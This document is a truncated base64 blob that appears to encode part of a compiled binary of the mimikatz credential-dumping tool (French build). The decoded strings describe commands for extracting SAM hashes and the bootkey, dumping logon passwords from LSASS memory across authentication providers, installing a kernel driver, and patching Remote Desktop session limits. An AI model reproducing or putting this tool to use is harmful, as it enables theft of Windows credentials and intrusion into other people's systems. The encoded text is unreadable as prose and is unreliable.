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ACAAZAB1ACAAcAByAG8AdgBpAGQAZQByACAAVwBEAGkAZwBlAHMAdAAAAAAAdwBkAGkAZwBlAHMAdAAAAAAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABLAGUAcgBiAGUAcgBvAHMAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAdQAgAHAAcgBvAHYAaQBkAGUAcgAgAFQAcwBQAGsAZwAAAAAAAAAAAHQAcwBwAGsAZwAAAAAAAAAAAAAAAAAAAOkAbgB1AG0A6AByAGUAIABsAGUAcwAgAHMAZQBzAHMAaQBvAG4AcwAgAGMAbwB1AHIAYQBuAHQAZQBzACAAZAB1ACAAcAByAG8AdgBpAGQAZQByACAATABpAHYAZQBTAFMAUAAAAAAAbABpAHYAZQBzAHMAcAAAAAAAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAZQBzACAAcAByAG8AdgBpAGQAZQByAHMAIABkAGkAcwBwAG8AbgBpAGIAbABlAHMAAAAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAAAAAAAcgBlAGMAaABlAHIAZQAgAGQAaQByAGUAYwB0AGUAbQBlAG4AdAAgAGQAYQBuAHMAIABsAGUAcwAgAHMAZQBnAG0AZQBuAHQAcwAgAG0A6QBtAG8AaQByAGUAIABkAGUAIABMAFMAQQBTAFMAIABkAGUAcwAgAG0AbwB0AHMAIABkAGUAIABwAGEAcwBzAGUAcwAAAAAAAABzAGUAYQByAGMAaABQAGEAcwBzAHcAbwByAGQAcwAAAEQAbwBuAG4A6QBlAHMAIABMAFMAQQBTAFMAIABlAG4AIABlAHIAcgBlAHUAcgAAAGwAcwBhAHMAcgB2AAAAAABtAHMAdgAxAF8AMAAAAAAAbABzAGEAcwByAHYALgBkAGwAbAAAAAAAdABzAHAAawBnAC4AZABsAGwAAAAAAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAAAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABsAHMAYQBzAHMALgBlAHgAZQAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUAcwBMAGkAcwB0AEYAbwByAFAAcgBvAGMAZQBzAHMAIAA6ACAAAAAAAAAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAAAAAABMc2FJUmVnaXN0ZXJOb3RpZmljYXRpb24AAAAAAAAAAExzYUlDYW5jZWxOb3RpZmljYXRpb24AACAAfQAAAAAAXQAgAHsAIAAAAAAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAAAAAAAAkAIAAqACAAWwAAAAAAAABuAC4AdAAuACAAKABMAFUASQBEACAASwBPACkAAAAAAEQAbwBtAGEAaQBuAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIABwAHIAaQBuAGMAaQBwAGEAbAAgACAAIAAgACAAIAAgADoAIAAAAAAAUABhAGMAawBhAGcAZQAgAGQAJwBhAHUAdABoAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuACAAIAA6ACAAAAAAADsAAAAAAAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAGIAdABlAG4AaQByACAAbABlAHMAIABkAG8AbgBuAOkAZQBzACAAZABlACAAcwBlAHMAcwBpAG8AbgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcA6QBuAHUAbQBlAHIAZQByACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAAAAAAAARADpAG0AYQByAHIAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAAAAAAAAAEEAcgByAOoAdABlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAUwB1AHAAcAByAGkAbQBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAAAAAAAAAAAAAAAASQBuAHMAdABhAGwAbABlACAAZQB0AC8AbwB1ACAAZADpAG0AYQByAHIAZQAgAGwAZQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6AAAAAAAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAAAAAAAAAAAAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAAAAAAAAVwBJAE4AMwAyAF8ATwBXAE4AXwBQAFIATwBDAEUAUwBTAAAAAAAAAFcASQBOADMAMgBfAFMASABBAFIARQBfAFAAUgBPAEMARQBTAFMAAABDAE8ATgBUAEkATgBVAEUAXwBQAEUATgBEAEkATgBHAAAAAAAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAAAAAABQAEEAVQBTAEUARAAAAAAAUgBVAE4ATgBJAE4ARwAAAFMAVABBAFIAVABfAFAARQBOAEQASQBOAEcAAAAAAAAAUwBUAE8AUABfAFAARQBOAEQASQBOAEcAAAAAAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAAAAAAAAAAABbACoAXQAgAFAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAbgBvAG4AIABwAHIA6QBzAGUAbgB0ACwAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAuAAAAAABtAGkAbQBpAGsAYQB0AHoALgBzAHkAcwAAAAAAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAAAAAAFsAKwBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABPAEsAAABbAC0AXQAgAEEAdAB0AHIAaQBiAHUAdABpAG8AbgAgAGQAZQBzACAAZAByAG8AaQB0AHMAIAA6ACAASwBPACAAOwAgAAAAAAAAAAAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAAAAAAAAAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAGQA6QBqAOAAIABwAHIA6QBzAGUAbgB0AAAAAAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAAAAAAAAAAAAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAAAAAAAAAAAAAEUAZgBmAGEAYwBlACAAbAAnAOkAYwByAGEAbgAgACgAbgBlACAAZgBvAG4AYwB0AGkAbwBuAG4AZQAgAHAAYQBzACAAZQBuACAA6QB4AGUAYwB1AHQAaQBvAG4AIABkAGkAcwB0AGEAbgB0AGUALAAgAHYAaQBhACAAUABzAEUAeABlAGMAIABwAGEAcgAgAGUAeABlAG0AcABsAGUAKQAAAAAAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAABDAGEAbABjAHUAbABlACAAbABhACAAcgDpAHAAbwBuAHMAZQAgAOAAIABsAGEAIABHAHIAYQBuAGQAZQAgAFEAdQBlAHMAdABpAG8AbgAgAHMAdQByACAAbABhACAAVgBpAGUALAAgAGwAJwBVAG4AaQB2AGUAcgBzACAAZQB0ACAAbABlACAAUgBlAHMAdABlAAAAAAAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAAAAAAFIAZQB0AG8AdQByAG4AZQAgAGwAYQAgAHYAZQByAHMAaQBvAG4AIABkAGUAIABtAGkAbQBpAGsAYQB0AHoAAAB2AGUAcgBzAGkAbwBuAAAATQBlAHQAcwAgAGUAbgAgAHAAYQB1AHMAZQAgAG0AaQBtAGkAawBhAHQAegAgAHUAbgAgAGMAZQByAHQAYQBpAG4AcwAgAG4AbwBtAGIAcgBlACAAZABlACAAbQBpAGwAbABpAHMAZQBjAG8AbgBkAGUAcwAAAAAAcwBsAGUAZQBwAAAAAAAAADEwOjEwOjI1AAAAAAAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAAAAAAAEYAaQBuACAAIQAAAAAAAABBAGYAZgBpAGMAaABlACAAbAAnAHUAdABpAGwAaQBzAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAAAAAAAAAAAAAAAAAABBAGYAZgBpAGMAaABlACAAbABlACAAbgBvAG0AIABkACcAbwByAGQAaQBuAGEAdABlAHUAcgAgAGMAbwB1AHIAYQBuAHQAAABjAG8AbQBwAHUAdABlAHIAAAAAAAAAAABVAHQAaQBsAGkAcwBhAHQAZQB1AHIAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AFUAcwBlAHIATgBhAG0AZQAgADoAIAAAAAAAbQBvAGQAXwBzAHkAcwB0AGUAbQA6ADoAZwBlAHQAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIAA6ACAAAAAAAHMAZQBzAHMAaQBvAG4AcwAAAAAAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAAAAAAAAAAAAUABhAHQAYwBoACAAbABlACAAYgB1AHIAZQBhAHUAIADgACAAZABpAHMAdABhAG4AYwBlACAAcABvAHUAcgAgAGQA6QBwAGEAcwBzAGUAcgAgADIAIABjAG8AbgBuAGUAeABpAG8AbgBzACAAcwBpAG0AdQBsAHQAYQBuAOkAZQBzAAAAAAAAAG0AdQBsAHQAaQByAGQAcAAAAAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAAAB2AGkAZQB3AHMAaABhAGQAbwB3AAAAAAAAAAAAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAAAAAAAAbQBvAGQAaQBmAHkAcwBoAGEAZABvAHcAAAAAAAAAAABTAGUAcwBzAEkAZAAJAEUAdABhAHQACQBzAHQAcgBFAHQAYQB0AAAAbQBvAGQAXwB0AHMAOgA6AGcAZQB0AFMAZQBzAHMAaQBvAG4AcwAgADoAIAAAAAAAUABJAEQACQBTAGUAcwBzAEkAZAAJAFUAdABpAGwAaQBzAGEAdABlAHUAcgAAAAAARABJAFMAQQBCAEwARQAAAEkATgBUAEUAUgBBAEMAVAAAAAAAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAAAAAAFYASQBFAFcAXwBOAE8AQQBTAEsAAAAAAAAAAAAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAAAAAAAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUAUwBlAHIAdgBpAGMAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAASQBOAFQARQBSAEEAQwBUACAAKABjAG8AbgBmAGkAcgBtAGEAdABpAG8AbgApAAAAVgBJAEUAVwAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAEEAYwB0AGkAdgBlAAAAAABDAG8AbgBuAGUAYwB0AGUAZAAAAAAAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAAAAAAFMAaABhAGQAbwB3AAAAAABEAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAAAAAAEkAZABsAGUAAAAAAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAAAAAAAEQAbwB3AG4AAAAAAAAAAABJAG4AaQB0AAAAAAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAAAAAAFMAdQBzAHAAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAGEAYwB0AGkAZgAAAFIAZQBwAHIAZQBuAGQAIAB1AG4AIAB0AGgAcgBlAGEAZAAgAHMAdQBzAHAAZQBuAGQAdQAAAAAAQQByAHIA6gB0AGUAIAB1AG4AIAB0AGgAcgBlAGEAZAAAAAAAAAAAAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAHEAdQBpAHQAAAAAAAAAAABQAEkARAAJAFQASQBEAAkAcAByAFQAaAAAAAAAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAAAAAAHQAaAByAGUAYQBkACAAAABLAE8AIAAtACAAbQBvAGQAXwB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAA7ACAAAAAAACcAIABpAG4AdgBhAGwAaQBkAGUAAAAAAGEAcgBnAHUAbQBlAG4AdAAgACcAAAAAAAkAcwB1AHMAcABlAG4AcwBpAG8AbgAgAAAAAAAAAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdQBzAHAAZQBuAGQAIAA7ACAAAAAJAGEAcgByAOoAdAAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHMAdABvAHAAIAA7ACAAAAAAAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAAAAAAAAAAAAAE0AZQB0ACAAZQBuACAAcABhAHUAcwBlACAAbABlACAAYwBoAHIAbwBuAG8AbQDoAHQAcgBlACAAZAB1ACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAAAAAAAAAcABhAHUAcwBlAAAAAAAAAAAAAAAAAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAAAAAAAAUABhAHQAYwBoAOkAIAA7ACkAAAAAAAAAdwBpAG4AbQBpAG4AZQAuAGUAeABlAAAAbgAuAGEALgAgACgAawBlAHIAYgBlAHIAbwBzACAASwBPACkAAAAAAG4ALgBzAC4AIAAoAFMAdQBwAHAAQwByAG